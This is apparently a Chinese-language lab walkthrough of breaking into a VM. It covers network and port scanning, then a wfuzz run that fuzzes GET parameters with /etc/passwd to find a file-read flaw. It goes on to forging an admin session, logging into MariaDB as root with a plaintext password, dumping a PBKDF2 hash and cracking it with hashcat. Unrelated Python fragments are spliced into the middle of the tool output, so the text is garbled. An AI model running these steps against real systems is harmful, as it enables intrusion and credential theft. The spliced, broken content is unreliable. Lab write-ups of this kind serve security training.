3 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.384 seconds (107.38 hosts/sec). 3 responded
192.168.31.122就是ip地址
nmap 192.168.31.122 -p-扫描端口
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root㉿kali)-[~/Desktop/tmp] └─# nmap 192.168.31.122 -p- Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-26 08:21 EDT Nmap scan report for 192.168.31.122 Host is up (0.00090s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:71:20:21 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 6.71 seconds
80端口
查看页面源码，在最下面可以发现有一个
1
<!--Wrong paramter to GET-->
对get参数进行fuzz
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
┌──(root㉿kali)-[~/Desktop/tmp] └─# wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.31.122?FUZZ=/etc/passwd" --hh 18851 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ********************************************************
Target: http://192.168.31.122?FUZZ=/etc/passwd/ Total requests: 220559
===================================================================== ID Response Lines Word Chars Payload =====================================================================
number = random.randint(1, 1000) result = math.sqrt(number) * math.log(number) print(f"Calculated math nonsense: sqrt({number}) * log({number}) = {result}")
def simulate_time_wasting():
now = datetime.datetime.now() print(f"Started wasting time at {now}") time.sleep(2) # 故意睡眠 2 秒 later = datetime.datetime.now() print(f"Finished wasting time at {later}. Time wasted: {later - now}")
Started: Wed Mar 26 08:44:44 2025 Stopped: Wed Mar 26 08:44:49 2025
noob就是密钥，用户名伪造成admin，可以看到留言板的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14
debian@Newbee:~$ mysql -uroot -pTheStrongestPasswordHYHcreated Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 5 Server version: 10.11.6-MariaDB-0+deb12u1 Debian 12
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
No entry for terminal type "unknown"; using dumb terminal settings. No entry for terminal type "unknown"; using dumb terminal settings. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
user库的user表里有debian的密码
1 2 3 4 5 6 7 8 9
Database changed MariaDB [user]> select * from user; +----+----------+--------------------------------------------------------------------------------------------------------------------------+----------------------------------+------------------+ | id | username | passwd | salt | passwd_hash_algo | +----+----------+--------------------------------------------------------------------------------------------------------------------------+----------------------------------+------------------+ | 1 | debian | 2c082e3ff2ca15e3b24f815d70653f0dead09534495069dd140e19adb2d117266cc4b1de8daf55c7c4827a0a5ccf70c6f537ffc4ddc74db4865c41c0 | 8bf3e3452b78544f8bee9400d6936d34 | pbdf2$50500$60 | +----+----------+--------------------------------------------------------------------------------------------------------------------------+----------------------------------+------------------+ 1 row in set (0.001 sec)
Hash-mode was not specified with -m. Attempting to auto-detect hash mode. The following mode was auto-detected as the only one matching your input hash:
10900 | PBKDF2-HMAC-SHA256 | Generic KDF
NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed! Do NOT report auto-detect issues unless you are certain of the hash type.
Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256
INFO: All hashes found as potfile and/or empty entries! Use --show to display them.
Started: Wed Mar 26 08:49:58 2025 Stopped: Wed Mar 26 08:49:59 2025 ┌──(root㉿kali)-[~/Desktop/tmp] └─# hashcat ./2 --show Hash-mode was not specified with -m. Attempting to auto-detect hash mode. The following mode was auto-detected as the only one matching your input hash:
10900 | PBKDF2-HMAC-SHA256 | Generic KDF
NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed! Do NOT report auto-detect issues unless you are certain of the hash type.
